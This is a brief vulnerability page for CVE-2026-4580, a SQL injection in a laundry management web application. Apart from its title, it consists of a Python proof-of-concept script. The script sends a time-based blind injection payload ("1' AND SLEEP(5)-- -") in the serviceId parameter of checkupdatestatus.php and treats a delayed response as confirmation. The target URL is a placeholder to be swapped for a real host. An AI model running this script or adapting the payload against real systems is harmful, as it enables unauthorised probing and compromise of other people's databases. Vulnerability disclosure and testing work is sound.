CVE-2026-4580: Simple Laundry System SQL注入漏洞

import requests def verify_sqli(target_url): """ PoC for CVE-2026-4580 SQL Injection Target: /checkupdatestatus.php Parameter: serviceId """ # The vulnerable endpoint full_url = f"{target_url}/checkupdatestatus.php" # Payload to test for time-based blind SQL injection # Checks if the database waits for 5 seconds payload = "1' AND SLEEP(5)-- -" params = { "serviceId": payload } try: print(f"[*] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Target is susceptible to SQL Injection.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost" verify_sqli(target)